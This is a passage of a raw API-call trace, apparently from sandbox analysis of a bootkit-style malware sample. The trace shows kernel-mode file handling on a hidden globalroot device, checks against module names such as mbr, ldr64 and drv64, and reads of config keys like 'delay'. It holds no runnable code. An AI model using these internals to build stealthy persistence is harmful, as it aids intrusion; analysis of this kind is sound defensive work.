_Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.008] KeEnterCriticalRegion () [0120.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0120.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] KeLeaveCriticalRegion () [0120.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.008] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.008] KeEnterCriticalRegion () [0120.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] ExFreePoolWithTag (P=0xfffffa8003bcc4e0, Tag=0x0) [0120.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] KeLeaveCriticalRegion () [0120.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.008] ReleaseMutex (hMutex=0xf0) returned 1 [0120.008] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.008] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.008] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.008] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.008] KeEnterCriticalRegion () [0120.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.008] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.008] IdePortDispatch () returned 0x103 [0120.009] KeWaitForMutexObject () returned 0x0 [0120.009] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.009] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.009] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.009] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.009] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.009] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.009] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.009] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.009] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.009] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.009] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.009] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.009] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.009] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.009] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.009] KeLeaveCriticalRegion () [0120.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.009] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.009] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.009] KeEnterCriticalRegion () [0120.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.009] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.009] IdePortDispatch () returned 0x103 [0120.009] KeWaitForMutexObject () returned 0x0 [0120.011] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.011] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.011] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.011] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.011] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.011] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.011] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.011] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.011] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.011] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.011] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.011] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.011] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.011] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.011] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.011] KeLeaveCriticalRegion () [0120.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.011] ReleaseMutex (hMutex=0x100) returned 1 [0120.011] Sleep (dwMilliseconds=0x2bf20) [0120.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aba49b0, dwHighDateTime=0x1d24fa4)) [0120.011] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.023] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.023] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.023] KeEnterCriticalRegion () [0120.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.023] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.023] IdePortDispatch () returned 0x103 [0120.023] KeWaitForMutexObject () returned 0x0 [0120.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.023] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.023] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.023] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.024] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0120.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] KeLeaveCriticalRegion () [0120.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.024] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.024] KeEnterCriticalRegion () [0120.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] KeLeaveCriticalRegion () [0120.024] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.024] KeEnterCriticalRegion () [0120.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.024] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.024] IdePortDispatch () returned 0x103 [0120.024] KeWaitForMutexObject () returned 0x0 [0120.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] KeLeaveCriticalRegion () [0120.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.024] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.024] KeEnterCriticalRegion () [0120.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf7000 [0120.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.024] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.024] IdePortDispatch () returned 0x103 [0120.025] KeWaitForMutexObject () returned 0x0 [0120.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.025] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.025] IdePortDispatch () returned 0x103 [0120.025] KeWaitForMutexObject () returned 0x0 [0120.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.025] KeLeaveCriticalRegion () [0120.025] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.026] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.026] KeEnterCriticalRegion () [0120.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] KeLeaveCriticalRegion () [0120.026] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.026] KeEnterCriticalRegion () [0120.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.026] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] KeLeaveCriticalRegion () [0120.026] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.026] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.026] KeEnterCriticalRegion () [0120.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0120.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.026] KeLeaveCriticalRegion () [0120.026] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.026] ReleaseMutex (hMutex=0xf0) returned 1 [0120.026] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.033] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.033] KeEnterCriticalRegion () [0120.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.033] IdePortDispatch () returned 0x103 [0120.033] KeWaitForMutexObject () returned 0x0 [0120.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.033] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.033] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.033] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.033] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.033] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0120.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.033] KeLeaveCriticalRegion () [0120.033] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.033] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.033] KeEnterCriticalRegion () [0120.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.033] KeLeaveCriticalRegion () [0120.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.033] KeEnterCriticalRegion () [0120.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.033] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.033] IdePortDispatch () returned 0x103 [0120.034] KeWaitForMutexObject () returned 0x0 [0120.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.034] KeLeaveCriticalRegion () [0120.034] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.034] KeEnterCriticalRegion () [0120.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfa000 [0120.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.034] IdePortDispatch () returned 0x103 [0120.034] KeWaitForMutexObject () returned 0x0 [0120.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.035] IdePortDispatch () returned 0x103 [0120.035] KeWaitForMutexObject () returned 0x0 [0120.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.035] KeLeaveCriticalRegion () [0120.035] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.035] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.035] KeEnterCriticalRegion () [0120.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.035] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.035] KeLeaveCriticalRegion () [0120.035] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.035] KeEnterCriticalRegion () [0120.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] KeLeaveCriticalRegion () [0120.036] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.036] KeEnterCriticalRegion () [0120.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0120.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] KeLeaveCriticalRegion () [0120.036] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.036] ReleaseMutex (hMutex=0xf0) returned 1 [0120.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.039] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.039] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.039] KeEnterCriticalRegion () [0120.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.039] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.039] IdePortDispatch () returned 0x103 [0120.039] KeWaitForMutexObject () returned 0x0 [0120.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.039] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.039] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.039] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.040] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.040] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2ce0 [0120.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] KeLeaveCriticalRegion () [0120.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.040] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.040] KeEnterCriticalRegion () [0120.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] KeLeaveCriticalRegion () [0120.040] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.040] KeEnterCriticalRegion () [0120.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.040] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) 